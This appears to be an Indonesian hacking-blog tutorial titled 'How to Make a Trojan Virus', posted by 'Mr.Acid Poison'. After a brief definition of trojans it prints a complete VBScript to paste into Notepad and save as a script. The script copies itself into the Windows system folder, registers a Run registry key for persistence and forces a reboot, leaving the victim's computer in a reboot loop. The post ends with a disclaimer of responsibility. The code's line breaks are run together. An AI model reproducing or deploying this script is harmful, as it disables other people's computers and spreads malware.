Cara Membuat Virus Trojan

Selamat Siang Sahanat cyber4rt
Kembali lagi dengan ane Mr.Acid Poison
kali ini ane kan mempost "Cara Membuat Virus Trojan"
no bacod again :v
cekidot...

Cara Membuat Virus Trojan

Trojan

Trojan adalah sejenis virus yang menyamar sebagai berkas lain yang aman, misalnya dokumen Excel yang terlampir pada email. Pengguna komputer ditipu untuk melakukan tindakan yang dapat menyebarkan trojan, misalnya membuka lampiran itu karena mengira itu adalah file Excel biasa padahal sebenarnya berisi program trojan.
Setelah berhasil menginfeksi komputer, trojan dapat bertindak merusak seperti virus lain atau mengirim informasi penting, termasuk User ID dan password, ke pihak lain tanpa sepengetahuan pemakai komputer yang terinfeksi

bagaimana cara membuat virus nya?

simak dibawah ini

- buka notepad- cop-as action dibawah ini :

---------------------------------------------------------------------------------------------------- rem - dlRB "DL Reboot" Trojan script by D.L.On Error Resume Nextdim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileDataset FSobj=CreateObject("Scripting.FileSystemObject")set sysDir = FSobj.GetSpecialFolder(1)createRegKey"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"sub createRegKey(regKey,regVal)set regEdit = CreateObject("WScript.Shell")regEdit.RegWrite regKey,regValend subset generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")generateCopy.closeset newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)setFile()fixedCode=replace(fileData,chr(94),"""")set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)procreateCopy.write fixedCodeprocreateCopy.closerebootSystem()function setFile()fileData="rem - ^dlRB^ by D.L." &vbcrlf& _"strComputer = ^.^ " &vbcrlf& _"Set objWMIService = GetObject(^winmgmts:^ _" &vbcrlf& _"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _"(^Select * from Win32_OperatingSystem^)"&vbcrlf& _"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _"ObjOperatingSystem.Reboot()" &vbcrlf& _"Next"end functionfunction rebootSystem()strComputer = "."Set objWMIService = GetObject("winmgmts:" _& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")Set colOperatingSystems = objWMIService.ExecQuery _("Select * from Win32_OperatingSystem")For Each objOperatingSystem in colOperatingSystemsObjOperatingSystem.Reboot()Nextend function------------------------------------------------------------------------------------------------------

Lalu save file dengan format vsb
Jika anda ingin mengaktifkan contoh nya dibawah ini.
contoh : trojan.vsblalu ganti txt. menjadi all Files



Note: Gunakan dengan bijak, kami tidak bertanggung jawab atas semua yg kalian lakukan, kami hanya berbagi sedikit pengetahuan ygkami miliki. ;)